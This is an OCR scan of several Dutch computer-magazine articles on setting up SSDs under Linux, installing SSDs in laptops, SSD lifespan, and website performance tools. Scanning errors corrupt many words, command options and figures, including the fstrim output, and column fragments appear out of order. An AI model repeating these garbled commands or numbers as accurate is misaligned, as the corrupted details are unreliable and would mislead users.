tieef van SSD's volledig te kun¬ 
nen benutten, Sommige aspec- 
ten zijn later namelijk moeilijk 
te corrigeren. De SATA-adapter 
moet bijvoorbeeld in de BIOS- 
setup bij voorkeur tngesteld zijn 
als 'AHCr (Advanced Host Con¬ 
troller Interface) [1]. Eventueel is 
■RAID' ook goed, maar dat zorgt 
misschien voor andere proble- 
men, aangezien Linux-distribu- 
ties de RAlD-functies van desk- 
topmoederborden soms slecht 
ondersteunen. 

De bedrijfsmodl AHCI of RAID 
zijn onder andere een vereiste 
voor een aantal stroombespa- 
rende modi en Native Com¬ 
mand Queuing (NCQ). Door de 
laatstgenoemde techniek krijgen 
SSD’s meerdere requests in een 
keer. Daardoor gaat de perfor¬ 
mance omhoog, omdat de SSD 
het werk zo over meerdere paral¬ 
lel werkende geheugenchips kan 
verdeien, Hoe groot de winst is, 
is afhankelijk van het toegangs- 
patroon en de hardware. Door 
het inschakelen van AHCI steeg 
op een Lenovo Thinkpad T410 
met een Intel X25-M met 34nm- 
chips het aantal per seconde 
uitgevoerde operaties (lOPS) bij 
leestests met de benchmark Fio 
(Flexible I/O Tester) van am per 
5.000 naar iets meer dan 30.000. 
De overdrachtsnelheid steeg 
hierdoor van ongeveer 20 naar 
120 MB/S, 


Bij actuele versies van hdparm 
kun je informatie over de on- 
dersteuning van trim achterha¬ 
len en kun je testen of het mel¬ 
den van ongebruikte gebieden 
via discard werkt. 
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[root^nkh-morpork tests]# fstrim - -help 
Usage: fEtnm [options] <inount point> 

Options' 

-h* --help this help 

-0, --offset <num> offset in bytes to discard from 

-l> --length <nuni> length of bytes to discard from the offset 

-m, --minimum <num> minimum extent length to discard 
-tf, --verbose print number of discarded bytes 

For more information see fstrim(l), 
rroot(aankh-morpork tests}# fstrim -v /imt/tests/ 

/mnt/tests/: 2894®4fi bytes was trimmed 
[root^ankh-morpork tests}# [] 


Unux-gebmtkers met SSD's kunnen het beste kernel 2,6,38 of 
nieuwer gebmiken en af eo toe fstrim aanroepen om de SSD over 
ongebruikte geheugengebreden te informeren. 


Als je deze BI OS-set upoptie ach- 
teraf verandert, moet je contra^ 
leren of de al gemstalleerde be- 
sturingssystemen nog starten, 
Ab dat niet het geval is, moet je 
de wijziging terugdraaien en het 
performanceverlies accepteren 
tot je het betreffende systeem 
helemaai opnieuw instaJleert, 
waardoor je een nieuwe kans 
krijgt om wijzigingen door te 
voeren, Als alternatief kun je 
ook proberen om in het boot- 
dee I van het bestu rings systeem 
een sto raged river in te bouwen 
die brj de nieuwe manier van 
werken past. Die moet bij Linux- 
distributies in de kernel of in de 
initramfs terechtkomen, Bij een 
eventueel parallel gemstalleerde 
Windows rs dat moeilijker, Een 
aantal aanwijzingen hiervoor 
vind je via de softi in k* 

Als je een gebruikte SSD 
opnieuw wilt instalferen, kun 
je hem met een 'Secure Erase' 
volledig wissen om het werk 
voor de SSD-controller makke- 
Irjker te maken, Dat kan bijvoor- 
beeld met hdparm. Een aantal 
tips vind je via de softlink. Bij 
veel actuele Linux-distributies 
is dat echter overbod ig, want 
voordat de formatteringspro- 
gramma's van E2fsprogs L41,10 
of Xfsprogs 3,1.0 de bestands- 
systeemstructuren opzetten, 
melden ze via discard aan de 
gegevensdrager voor het com¬ 
plete geformatteerde gebied 
dat het ongebruikt is, Dat moet 
binnenkort ook kunnen met de 
Btrfs-tools. De Linux-program- 
ma's voor het formatteren van 
gegevensdragers met FAT of 
NTFS ondersteunen discard nIet 
Om dit probleem te omzeilen^ 
kun je de gegevensdrager eerst 
een keer met ExM formatteren 
voordat je het elgenfijke be- 
standssysteem aanmaakt, 

Uitlijnen 

Sommige websites raden aan 
om partities op de grenzen van 
de pages van de SSD te laten be- 
ginnen. Dat is bij actuele SSD's 
niet nodig. De installers van mo- 
derne Linux-distributies lijnen 
nieuwe partities toch af automa- 
tisch uit op megabytegrenzen, 
net als Windows dat sinds Vista 
ook doet. Ook actuele versies 
van Fdisk en Gparted werken 
zo, Dat is niet alleen handig voor 
oude SSD's maar ook voor hard¬ 
disks met sectoren van 4 kB [2]. 

Om te voorkomen dat een 
SSD grote gebieden of zelfs de 


complete opslagruimte als ge- 
bruikt aangeeft, moet je data 
van andere drives of afzonder- 
lijke partities niet naar de SSD 
verplaatsen met programma's 
die, net als de commandlinetool 
dd, alie sectoren klakkeloos kopi- 
eren, Ook een aantal imagers en 
partirioneringstools werken op 
die manier als ze het gebruikte 
bestandssysteem niet onder¬ 
steunen. Je kunt het negatieve 
effect van deze methode wel 
beperken door de vrije gebieden 
aansluitend met fstrim te trim- 
men. 

Geheim 

Encryptie kan het werk voor de 
firmware van de SSD moeilijker 
maken. Sommige software initi¬ 
al iseert bijvoorbeeld het gebied 
dat gebruikt wordt voor het 
opslaan van de versleutelde be- 
standen met random data zodat 
niemand lets af kan lelden uit 
het deel dat bezel is. Vanuit het 
oogpunt van de SSD-controller 
lijkt het geheugengebied hier- 
door compleet gebruikt. 

De installatieprogramma's 
van een aantal Linux-distributies 
werken minder strikt. Meestal 
wordt voor het versleutelen 
echter gebruik gemaakt van de 
devicemappertarget dmcrypt 
en die moet discards pas vanaf 
Linux 3.1 ondersteunen. Dat 
verschijnt binnenkort, maar de 
functie is daar nog standaard 
uitgeschakeld om het schijfge- 
bruik niet te verraden. Via dm- 
setup en de dm crypt-para meter 
allow2_discards kun je discards wel 
inschakelen, 

Sommige nieuwe SSD's bie- 
den transparante volledige ver- 
sleuteling. Daarmee kun je de 
genoemde problemen vermij- 


dea omdat de SSD vanuit het 
oogpunt van het besturingssys- 
teem niet versleuteld is, Maar bij 
een aantal SSD's (bijvoorbeeld 
die van Intel, zie pagina 94) kun 
je dan met bepaalde configura- 
ties gegevens verliezen. Boven- 
dien wordt de sleutel met een 
ATA-wachtwoord beveiligd, ter- 
wijl nog fang niet alle BlOSsen 
daarmee kunnen werken, 

Braakland 

Problemen krijg je ook met 
RAID-levels 1, 4, S en 6, omdat 
bij het initial iseren daarvan een 
aantal of zelfs alie schijven in 
de RAID volgeschreven worden 
als je de soft- of hardware dat 
niet expliciet verbtedt Net als 
de software-RAlD-code van de 
kernel kunnen veel RAID-con¬ 
trollers en de bijbehorende dri¬ 
vers nog niet overweg met trim 
dan we! discard. 

Je kunt de negatieve invioed 
op de levensduur en perfor¬ 
mance van de SSD's in een 
RAID echter behoorlljk binnen 
de perken houden door niet de 
volledige capaciteit van de SSD 
te gebruiken, Volgens Intel (zie 
softlink) verdubbelen bijvoor¬ 
beeld het aantal operaties per 
seconde (lOPS) en de levensduur 
van de 160 GB grote X25-M met 
34NM-chips als maar 90 pro- 
cent van de capaciteit gebruikt 
wordt. 

Zo'n overprovisioning kun je 
bereiken door bij het partitio- 
neren achter de laatste partitle 
de nodige ruimte vrij te laten 
of door nog voor het partitio- 
neren de zichtbare capaciteit 
van de SSD te beperken door 
een gebied in te stellen dat nor- 
maal niet bereikbaar Is voor het 
besturingssysteem, Zo'n Host 


Protected Area (HPA) kun Je met 
hdparm instellen (zie softlink). 
Om ervoor te zorgen dat deze 
methodes werken, moet het 
ongebruikte gebied ook uit het 
perspectief van de SSD-control- 
ler leeg zijn, Dat kun je bijvoor¬ 
beeld voor elkaar krijgen met 
een Secure Erase, 

Geformatteerd 

Op internet vind je alleriei tips 
om het beste bestandssysteem 
voor SSD's te kiezen. Uiteindelijk 
is dat voor desktopsystemen en 
notebooks momenteel duidelijk 
ext4, aangezien de werkwijze 
daarvan afgestemd is op SSD's, 
Vaak boor je dat ext2 beter ge- 
schikt zou zijn omdat dat geen 
journal wegschrijft, of dat je 
ext3 moet gebruiken en het 
journal moet uitschakelen, maar 
sinds kernel 2,6.29 kan dat ech¬ 
ter ook bij ext4. Met deze ma¬ 
nier van werken verminder je de 
hoeveelheid benodigde schrijf- 
operaties, maar verhoog je ook 
de kans op gegevensverlies als 
de stroom uitvait of de com¬ 
puter crasht. Dit risico is waar- 
schljnlijk veel te groot voor het 
performancevoordeel, want vol¬ 
gens tests van Ext-ontwikkefaar 
Theodore Tso is de overhead 
door journaling maar tussen de 
vier en twaalf procent bij nor- 
maal gebruik (zie softlink). 

Op de lange termijn zou Btrfs 
wel eens het ideale bestandssys¬ 
teem kunnen blijken te zijn. Dat 
is momenteel nog in ontwikke- 
ling en wordt als experimenteel 
bestempeld, Het biedt twee 
speciaal voor SSD's ontworpen 
bedrijfsmodi die overhead voor¬ 
komen en geschikt zijn voor de 
werkwijze van ffashgebaseerde 
opslagmedia. Btrfs gebruikt de 
via de mountoptie ssd in te scha- 
keten werkwijze automatisch als 
een SSD herkend wordt. Met de 
mountoptie ssd_spTead schakel 
je de tweede bedrijfsmodus in. 
Daarmee moet Je bij goedkope 
SSD's een betere performance 
kunnen bere I ken. (mj a) 
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videobestanden en JavaScript- 
code kunnen singlecore-cpu's 
flink belasten- In dat geval 
voegt een SSD ook welnig toe 
" vooral als andere potentiele 
hindernissen de boel kunnen 
vertragen, zoals een resource^ 
verslindende virusscanner. 

Bij notebooks van voor 2007 
maakt de toen gebruikte IDE- 
interface het upgraden moeilijL 
Er zijn wel geschikte SSD's, maar 
veel daarvan zijn door de verou- 
derde controller langzamer dan 
de nog beschikbare en goedko- 
pe IDE'hadrdisks met een capa- 
citelt van 160 of 320 GB. 

Recentere notebooks heb- 
ben daarentegen een snelle 
SATA-interface en daarvoor is 
er een gigantisch aanbod aan 
snelle SSD’s, De meeste nu ver- 
krljgbare SSD’s werken volgens 
de SATA ll-standaard en zijn 
compatibel met oudere SATA- 
poorten. Voor een notebook 
moet Je de nieuwe SATA 6G- 
SSD's vermijden omdat deze 
relatief veel stroom verbruiken. 

Inventarisatie 


Christian Wolbert 


Laptop-doping 

Notebookprestaties verhogen met een SSD 

In de nneeste notebooks is de harde schijf de vertragende factor. Door een SSD in te 
bouwen, kun je de vaak zenuwslopende wachttijd verkorten, maar dan moet je wel iets 
weten van bouwvormen, aansluitingen en inbouwframes. 


inds 2007 hebben de 
meeste notebooks mlni- 
maal een dualcore-prO‘ 
cessor, die meer dan voJdoende 
rekenkracht levert voor gang- 
bare prog ram ma 's. Moet je lets 
langer wachten bij bljvoorbeeld 
het starten van een browser of 
een beeldbewerkingsprogram- 
ma, dan Ngt dat meestal aan de 
harde schijf. Het inbouwen van 
een SSD levert dan een flinke 
snelheidswinst op. 

Bij veel oudere of extreem 
goedkope notebooks levert het 
Inbouwen van een SSD daar¬ 
entegen geen voordelen op, 
aangezien daartn niet de harde 
schijf, maar de slome processor 
de bottleneck is. Dat kun je con* 
troleren door het Taakbeheer in 
de gaten te houden. Als de cpu 
regelmatig vot aan de bak moet, 
wat bij oudere singlecores als 


de Pentium M en ook de Atom 
het geval is, dan zal een SSD at- 
leen in uitzonderlijke gevallen 
voor een snelheidsverhoging 
zorgen, Denk bljvoorbeeld aan 
programma's die veel gegevens 


in databases moeten beheren^ 
maar daar weinig mee rekenen. 

De huidige browsers vergen 
veel van zwakke processors. 
Vooral versleutelde verbindin- 
gen, gecomprimeerde foto- en 


Als je niet weet welke hard¬ 
ware er in je notebook zit, kijk 
dan even in het Configuratie- 
scherm. De naam van de pro^ 
cessor kun Je onder 'Systeem' 
vinden, het typenummer van 
de harde schijf onder ApparaaH 
beheerl Zoek met dit nummer 
(bljvoorbeeld 'ST9160821 AS') 
op Google en je hebt al snel 
de technische specificaties van 
de fabrikant, waarin ook de in¬ 
terface wordt vermeld {IDE of 
SATA). 

Daar staan ook twee andere 
belangrijke gegevens: de bouw- 
vorm en de hoogte. Bijna alle 
notebooks kunnen 2,5'-disks 
van 9,5 mm hoog herbergen. In 
dat geval heb je een reusachtr- 





EiJ 


Het zoeken naar het modelnummer van een harde schijf leidtal gauw tot de technische specificaties 
op de website van de fabrikant - zo kom je erachter of Je notebook SATA of de verouderde IDE- 
interface ondersteunt. 
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ge keuze, want dat zijn de stan- 
daardafmetingen van een SSD. 

Een ultzondering vormen de 
notebookmodellen met een dun 
2,5"-compartiment van 7 mm 
hoog, zoals bij een paar sub- 
notebookmodellen van Lenovo 
en Dell Samsung en Intel heb- 
ben daar schijven voor in het 
assortiment. Gebruikers van 
subnotebooks als de Samsung 
X360 en de Lenovo X300/X301 
hebben nog compactere SSD's 
nodig, namelijk 1,8 Inch met 
micro-SATA-aansluiting. Deze 
zijn er onder andere van Intel, 
Kingston en Transcend. Haast 
zelden zul je een notebook als 
de Samsung 900XTB tegen- 
komen, met een insteekkaartslot 
voor mSATA-SSD’s in creditkaart' 
formaat. 

Oudere subnotebooks als 
de Sony Vaio TZ gebruiken 
l,8"-schijven met een kleinere 
versie van de IDE-aansluiting: 
ZIP. De paar SSD's met deze 
aansluiting zijn even duur en 
traag als de 2,5 inch IDE-SSD's. 
De gangbare 1,8"-harddisks in 
een wat ouder mini-notebook 
lezen en schrijven slechts met 
een tergend langzame snelheid 
van 20 tot 30 MB/s, dus daar 
kan een upgrade gunstig zijn. 
Ook voor Apples eerste Mac- 
Book Air zijn ZIF-SSD's te koop, 
bijvoorbeeld bij PhotoFast 

Duo of solo 

Ook al heb je alle technische 
gegevens op de website van 
de fabrikant gevonden, je moet 
toch eerst het notebook uit 
elkaar schroeven - zelfs nog 
voor je een SSD koopt Al is het 
maar om te kljken of je de harde 
schijf zelf kunt vervangen of dat 
aan een gespecialiseerd bedrijf 
moet uitbesteden. 

Als je notebook twee schijf- 
compartlmenten heeft, zoals de 
meeste 17-inch modellen, dan 
kun je een harde schijf en een 
SSD gewoon naast elkaar ge¬ 
bruiken. Het besturingssysteem 
en de programma's draaien op 
de SSD, die dan minstens 80 GB 
groot moet zijn. De videoverza- 
meting kan gewoon op de harde 
schijf blijven. Heeft je notebook 
slechts een schijfcompartiment, 
dan kun je zo'n combinatie wel- 
licht toch gebruiken. Voor veel 
notebooks bestaan namelijk 
inbouwframes waarin je een 
harde schijf of SSD inbouwt en 
in het compartiment van de op- 
tische drive kunt onderbrengen. 



Een SATA-schijf (links) herken je aan de vlakke aansluiting, een IDE-model aan de dubbele rij dunne 
contactpunten. 



Let bij je keuze van SSD op de bouwvorm en de hoogte. De meeste 2,5"-schijven zijn 9 mm hoog, 
maar in sommige notebooks passen alleen 7 mm hoge schijven. 


Dat wordt bij leveranciers vaak 
'2nd HDD Caddy' genoemd. Dlt 
kan ook bij de Apple MacBook, 
waar Yeebase en MacXperts een 
frame voor leveren. 

Heeft je notebook maar een 
schijfcompartiment en wil je 
daar de dvd-brander niet voor 
opofferen, dan moet je de 
oude schijf toch bewaren. Als 
je het notebook ter reparatie 
moet opsturen of vervangen, 
moeten de originele onderde- 
len erin zitten. Bovendien is hlj 
een soort reddingsboei als je 
de herstelpartitie van de note- 
bookfabrikant niet naar de SSD 
kopleert of het systeemherstel 
na het vervangen van de schijf 
niet meer werkt, wat bij menig 
model het geval zal zijn. Je 
kunt het notebook dan met de 


herstelpartitie van de originele 
harde schijf op de fabrieksin- 
stellingen terugzetten. Met 
een usb-behuizing van 20 euro 
maak je van je oude schijf te- 
venseen back-upmedium. 

Gegevens overzetten 

Voordat Je de harde schijf ver- 
vangt, moet je bedenken hoe je 
de gegevens gaat overzetten. In 
principe zijn er drie mogelijkhe- 
den: nieuwe installatie, klonen 
of image. In het eerste geval 
vervang je de harde schijf door 
de SSD en instalieer je alles op- 
nieuw. Daarvoor heb je de Win¬ 
dows- of herstel-dvd's nodig die 
met het notebook zijn meegele- 
verd of die je zelf hebt gebrand. 
Daarna instalfeer je de eigen 


programma's en zet je de gege¬ 
vens uit een back-up terug. 

Bij de kloonmethode bouw 
je de SSD in een usb-behuizing, 
sluit deze aan op het notebook 
en kopieer je de inhoud varr de 
harde schijf met een imaging- 
tool als Acron is True Image of Pa¬ 
ragon Drive Backup naar de SSD. 
In onze test paste True Image de 
partitiegrootte automatisch aan, 
zodat ook het overzetten van 
een systeempartitie van 400 G8 
op een SSD van 120 6B paste, 
Zelfs de herstelpartitie werkte 
na het overzetten nog. Nadeel is 
dat dergelljke imaging-tools tus- 
sen de 30 en 70 euro kosten. 

De image-stategie werkt met 
de standaard Windows-tools 
ook prima. Maak een image op 
dvd's, een externe harde schijf 
of een netwerkschijf en kopi¬ 
eer die na het inbouwen van 
de SSD terug. Hoe dat precses 
in zijn werk gaat, kun je lezen in 
het artikel op p.82, 

Het open- en dichtschroe- 
ven van een notebook is in een 
mum van tijd gepiept. Scha- 
ke! na het back-uppen van de 
gegevens het notebook uit, 
ko ppel het I os van het elektri- 
citeitsnet en verwijder de accu. 
Open vervolgens de afdekklep 
aan de onderkant. Als de harde 
schijf in een frame zit, schroef je 
dit los en bevestig je het aan de 
SSD (de boorgaten zijn gestan- 
daardiseerd). Let er wel op dat 
|e de kleine schroeven niet uit 
|e handen in het binnenste van 
het notebook laat vallen, voor 
de rest kan er weinig fout gaan, 
(jca) 
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Reportage | SSD: levensduur 


ChristofWindeck 

In principe sterk 

Hoe betrouwbaar zijn solid-state disks? 

Het flashgeheugen in een SSD kan geen oneindig aantal schrijfcycii aan. 
Normaal gesproken hoef je jerelf echter geen zorgen te maken over de 
levensduur van dit snelle opslaggeheugen. Maar absoluut veilig zijn de 
bestanden erop ook weer niet. 


H arddisks met magneetschijven heb- 
ben bewegende onderdelen die aan 
sltjtage onderhevtg zijn. Met het ver- 
strijken der jaren neemt de kans op uitval 
dan ook toe. in een soiid-state disk beweegt 
dan wei niks, maar dat wil niet zeggen dat 
ze niet verouderen. Het NAND-ftashgeheu- 
gen kan namelijk maar een bepaald aantal 
schrijfcycii verwerken. In veel van de hui- 
dige 2,5''-SSD‘s met SATA II- of 6G-aanslui- 
ting zitten 25nm-fiashchips die mmder dan 
5000 keer gelezen en beschreven kunnen 
worden, Oit getal geeft echter geen ultsltiit- 
sel over de levensduur van een complete 
SSD met tig miljoen geheugencellen. 

In de praktijk speelt uitval als gevolg 
van kapotgeschreven flashchips dan ook 
geen rol van betekenis* Bovendien is het 
uitgangspunt dat gegevens van een niet 
meer beschrijfbare flashcel nog wei gele¬ 
zen kunnen worden en je dus geen data 
verliest Veel SSD's melden hun gezond- 
heidstoestand via SMART [1], zodat je het 
aan kunt zien komen ais het einde nadert. 
Desondanks kom je op Internet op veel fo¬ 
rums berichten regen van men sen die be¬ 
standen op SSD's zijn kwijtgeraakt. Meestaf 
heeft dat een andere oorzaak, zoals firm- 
warebugs of incompatibifiteiten tussen de 
SSD{-firmware) en het moederbord van de 
pc of notebook. In hoeverre kun je een SSD 
dan vertrouwen? 

Best wei betrouwbaar 


teem dagelijks 20 GB aan data schrijft Dat is 
in totaal dan 36,5 terabyte. 

Meerdere fabrlkanten gebruiken het 
begrip Tera-Bytes Written (TBW) uit de 
JE5D218-standaard van de JEDEC Solid 
State Technology Association om de le¬ 
vensduur aan te geven. Deze waarde neemt 
over het algemeen toe met de SSD-capa- 
citeit, omdat de wear-leveling-algoritmes 
in de firmware van de SSD-controllers de 
schrijftoegang dan over meerdere f las heel- 
len verdelen. Maar SSD-fabrikanten optima- 
liseren de firmware voor verschillende doe- 
len, bijvoorbeeld een erg lange levensduur, 
zeer hoge schrijfsneiheid of extreem korte 
toegangstijd. Of deze optimalisaties elkaar 
tegenwerken of niet is een van de goed be- 
waarde geheimen binnen de branche. 

Resteert de vraag hoeveel data een ty- 
pische Windows-pc dagelijks wegschrijft, 
maar die is niet makkelijk te beantwoorden. 
Fabrikant SanDisk geeft een ruwe schat- 
ting van 4 GB (zie soft!ink], maar Microsoft 


komt op 18 GB, Afhankelijk van de systeem- 
configuratie en het gebruik komt daar nog 
een paar gigabyte bij voor de slaapstand. 
Het slaapstandbestand hiberfil.sys staat op 
de systeempartitie, dus bij een pc met een 
groot en volledig gebruikt werkgeheugen 
moet je wei een goede SSD kopen of vaker 
de 5uspend-to-RAM-modus gebruiken en 
de stand-bymodus vermijden. 

Als je SSD behooflljk wat aan moet kun¬ 
nen, kun je het beste een dure Enterprise 
SSD’ kopen. De levensduur daarvan wordt 
normaal gesproken aangegeven door het 
aantal toevallig verdeelde datablokken 
met een grootte van 4 kB dat geschreven 
kan worden. Intel noemt voor de 300GB- 
uitvoering van de SSD 320 in dIt geval 30 
TBW, voor de driemaal duurdere even grote 
SSD 710 is dat 1,1 petabyte {PB) - en zelfs 
1,5 PB ais je 20 procent van de netto ca- 
paciteit niet gebruikt. Bij het schrtjven van 
8kB-blokken noemt Intel een dubbele le¬ 
vensduur. Ter vergelijking: De 400 GB grote 
Ultrastar 5SD400S met SAS-interface van 
Hitachi is gemaakt voor 35 PB. 

Data kwijt 

SSD^s zijn dan ook veel robuuster dan de 
sceptic! denken. Toch zijn er nog veel pro- 
blemen. Fabrlkanten als Corsair en OCZ 
kampten de afgelopen maanden bijvoor¬ 
beeld met compatiblliteitsproblemen met 
de jongste control I ergeneratie van Sand- 
force. De SSD 320 van Intel meldde onder 
be pa aide omstandigheden opeens nog 
slechts een capaciteit van 8 MB en alle op- 
geslagen gegevens waren weg. Een firm¬ 
ware-update bracht uitkomst, maar het ver- 
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Uit onze ervaringen van de afgelopen twin- 
tig maanden btijkt dat de fabrieksopgaven 
over de levensduur van SSD's redelijk ac- 
curaat zijn. Intel claimt voor zijn X25-M, 
waarvan er het afgelopen jaar naar eigen 
zeggen meer dan een miljoen zijn verkocht, 
een Annual Failure Rate (AFR) van 0,4 pro¬ 
cent, Bij een praktijktest (zie softlink) werd 
een waarde van ongeveer 0,6 gemeten, wat 
weinig is in vergelijking met de SSD's van 
andere fabrlkanten die op 2 tot 3 procent 
uitkwamen. 

Bij normaal gebruik onder Windows wor¬ 
den veel meer data gelezen dan geschre¬ 
ven. Volgens Microsoft geldt dat ook voor 
het bufferbestand pagefile.sys, dat dan ook 
met een gerust hart op een SSD mag staan. 
Intel garandeert voor de nleuwe serie SSD 
320 een levensduur van 5 jaar als het sys- 
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Intels SSD Toolbox laat zien hoeveel data er al geschreven is. Deze X25-M met 80 GB werd 
ongeveer 20 maanden lang voor Windows-bench marks gebruikt - in totaal is daarmee 
T,04TB aan data geschreven. 
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Reportage { SSD: ievensduur 


trouwen kelderde weL Firmware-ypdates 
hij SSD's zijn sowieso een heikele aange- 
legenheid omdat dat ook vaak momenten 
zijn waarop je bestanden kwjjt raakt. 

Het wordt nooit helemaal duidelijk waar 
de mogelijke fouten zitten, Een bron van 
problemen zit in de adaptieve werkwijze 
van SSD's: wear leveling houdt de relaties 
bij tussen de door het bestandssysteem 
gebruikte sectoren en de fysieke adressen 
van het flashgeheugen. Daar komen sped- 
ale functies ais transparante versleuteling 
bij. Veel van de huidige SSD's slaan alleen 
versleutelde bestanden op en koppeien de 
sleutel aan het ATA-wachtwoord* Het com¬ 
mando Secure Erase wist de sleutel en daar- 
m ee zijn a tie gegevens meteen onherroepe- 
lljk verloren. Dat is ook de bedoeling, omdat 
je opslagmedia met wear leveling niet veilig 
kunt wissen door ze te overschrijven (zie 
softlink). Ook het TrueCrypt-concept van 
Plausible Deniability werkt niet met wear 
leveling omdat de firmware beschreven 
cellen mogelijkerwijs dynamisch naar het 
reservedeel verschuift Softwarematige ver- 
sleuteling met bijvoorbeeid Bitlocker remt 
afhankelijk van configuratie en controller 
het schrijven naar een SSD af, omdat ATA 
Trim of datacompressie in de SSD-controller 
niet meer goed werken. 

Een hardwarematige versleuteling is bij 
SSD's dan ook uitermate zinvol, Maar blijk- 
baar liggen daarbij nog veel bugs op de 


loer, zoals probiemen met het pc-BiOS bij 
het doorgeven van het ATA^wachtwoord 
“ met compleet gegevensverlies tot ge- 
voig. Datarecoverybedrijven wijzen erop 
dat wear leveiing het herstellen van data al 
bemoeilijkt en versleuteling alle hulppogin- 
gen helemaal in de kiem smoort - en dat is 
natuurlijk ook precies de bedoeling, 

Wat te doen? 

Door de snelle ontwikkelingen zijn er nog 
geen echte ervaringen op de tange termijn, 
De opgegeven Ievensduur van een SSD lijkt 
echter geloofwaardig. Het is in ieder geval 
een pre ais een fabrfkant dergelijke cijfers 
geeft en een lange working garandeert 
Het moge ook duidelijk zijn dat SSD's voor 
clientsystemen “ notebooks en desktop- 
pc's - met een ander doel ontwikkeld wor- 
den dan server- en enterpriseversies, 

SSD's zullen in moblele apparaten be- 
trouwbaarder zijn dan de traditionele mag- 
neetschijven, omdat ze nauwelijks last heb- 
ben van schokken, Maar net ais alle andere 
elektrische componenten zal ook flashge- 
heugen er na een bepaalde tijd de brui aan 
geven. Wear leveling, hardwareversleute- 
ling en andere firmwaretrucs zorgen voor 
een indrukwekkende performance, maar 
introduceren ook nieuwe foutbronnen en 
maken datarecovery praktisch onmogelijk. 
Back“Ups zijn dan ook bijzonder belangrijk. 


Veel berichten over problemen met SSD's 
komen van mensen die zelf hun compu¬ 
ter in elkaar zetten of upgraden^ Je hoort 
weinig slecht nieuws van mensen die een 
notebook hebben uit een serie die al een 
jaar of twee van een SSD is voorzien, Het is 
dan ook raadzaam om meteen bij de aan- 
koop een bjjpassend flashmedium mee te 
bestellen, ook al is dat dan wat duurder. 

Ais je later wilt upgraden, kun je beter 
een gangbaar massaproduct nemen waar 
eerder firmware-updates voor zullen ver- 
schijnen dan voor een meer exotische vari¬ 
ant of uitloopmodel. Kijk voor de aenkoop 
eerst op internet naar ervaringen van an¬ 
dere gebruikers, bij voorkeur mensen die 
ook verder dezeJfde hardware ge brui ken. 
Bij third-party fabrikanten ais Adata, Cor¬ 
sair, OCZ en Supertalent is dat wat lastiger 
dan bij Intel, Micron, Samsung, SanDisk 
en Toshiba, die zelf flashchips maken* De 
third-party-fabrikanten kopen namelijk 
ergens flashgeheugen in en dat is niet al- 
tijd hetzelfde, Dat maakt het opiossen van 
compatibiliteitsproblemen een stuk lastl- 
gen (nkr) 
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Daniel Koch 

Speed me up! 

Verbeter de performance van je website 

Internet r5 een snel medmm en dat maakt gebrulkers 
ongeduldig. AIsje website te langzaam tevoorschljn komt; 
haken de bezoekers af en wordt je door Google afgestraft. 
Daarom moet je als webmaster de performance van je sites 
in de gaten houden. In dit artikel staat een overzicht van 
tools om de performance van je website op pel I te houden 
ofte verbeteren. 


en te trage website kost 
bezoekers en geld. Brng 
heeft dit effect concreet 
gemeten door paglna's twee 
seconden vertraagd yit te leve- 
ren. Dat resulteerde in een da- 
fing van de gemiddelde omzet 
van 4,3 procent per gebruiker. 
Bij Amazon had een slechts 100 
milliseconden langzamere laad- 
tijd een omzetdaling van een 
procent tot gevolg. Bij Yahoo! 
zorgde een vertraging van 400 
milliseconden voor 5 tot 9 pro- 
cent minder traffic. De links naar 
de onderzoeken vind je via de 


softlink. Google benadrukt bet 
belang van de performance van 
een website voor de ranking in 
de zoekresultaten: een trage site 
krljgt een lag ere ranking. 

Omgekeerd is natuurlijk ook 
de positieve invloed van een 
snelle website aan tetonen. Mo- 
zilla verbeterde de download- 
snel held van zijn browser met 
ruim IS procent door de laadtijd 
van een webpagina met ruim 
twee seconden te verkorten* 
Google reduceerde bij Maps het 
verstuurde volume met 30 pro¬ 
cent en zag daardoor het aantal 


opgevraagde kaarten met even- 
eens 30 procent stijgen. 

Klaarblijkelijk hangt het suc- 
ces van een website dus af van 
de laadsnelheid. Reden genoeg 
voor webontwikkelaars om zlch 
ook met Web Performance Op¬ 
timization (WPO) bezig te hoy¬ 
den. Net als bij Search Engine 
Optimization (SEO ofte we I zoek- 
machine-optimalisatle) bestaat 
ook hier geen kant-en-klaar re- 
cept voor. Het is gewoon zaak 
om met verschillende factoren 
rekening te houden die de per¬ 
formance kunnen betnvioeden. 

Paginacontrole 

Voordat je WPO-maatregelen 
gaat nemen, zul je de perfor¬ 
mance van je website eerst in 
kaart moeten brengen. Daar 
kun je een heie reeks monito- 
ringdiensten voor gebruiken 
die websites met regel matige 
tussenpozen automatisch op- 
roe pen om de performance te 
controleren [1]. Keynote Sys¬ 
tems biedt privegebruikers bij- 
voorbeeld het gratis desktop- 
pfogramma Kite aan, 

Als je je website een aantal 
dagen door een van deze dien- 
sten laat monitoren, kan blj- 
voofbeeld aan het licht komen 


dat je site op een overbelaste 
shared server staat. Als de laad¬ 
tijd van een pagina afhankelijk 
van hettijdstip van de dag signi¬ 
ficant anders is, is dat een duide- 
lijk teken dat de webhoster de 
websites van een aantal klanten 
op een server heeft staan. In dat 
gevoel kun je contact opnemen 
met de provider om je website 
naar een minder zwaar belaste 
server te verhuizen of een krach- 
tiger hostingpakket te nemen. 

Als het monitoren van de 
server niets opvallends aan het 
licht brengt, kun je eens naar 
de code van Je site kijken, Er is 
een hele reeks tools om de per¬ 
formance van een website te 
inspecteren, waaronder de add¬ 
ons Yahoo Ysiow en Googles 
Page Speed, die voor meerdere 
browsers worden aangeboden. 
Page Speed draait ook browse- 
ronafhankelijk als online tool. 

De tool analyseert een web¬ 
site en geeft je dan voorstellen 
ter verbetering van de perfor¬ 
mance. De tool biedt links naar 
online documentatie die de 
voorgestelde verbeteringen 
toelicht. Page Speed Online laat 
alternatief ook een bericht zien 
om de performance van de site 
voor mobiele eindapparaten te 
verbeteren. 
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Page Speed Online analyseert websites en attendeert op zaken die de performance afremmen. 


Google gaat met de Page Speed 
Service sinds een aantal weken 
zelfs nog een stap verder. 
Met dit allround-pakket voert 
Google de performancever- 
beteringen meteen zelf door. 
Dan moet je als webmaster wel 
het dataverkeer van je pagina 
via servers van Google lelden, 
Google komt met een vergelij- 
king waaruit moet blijken met 
hoeveel procent de Page Speed 
Service het uitleveren van een 
pagina versnelt. 

De dienst bevond zich op 
het moment van schrijven in 
een testfase. Google wil hem 
a II een aan een beperkt aantal 
early adopters gratis aanbieden. 
Daarna moet er voor betaald 
worden, hoeveel heeft Google 
nog niet bekendgemaakt, Hoe 
comfortabel een dienst als Page 
Speed Service ook mag zljn, als 
je hem gebruikt wordt Je afhan- 
kelijk van Google. Je kunt beter 
zelf wat kennis opdoen over de 
webperformance-optimallsatie 
en je websites zelf verbeteren. 

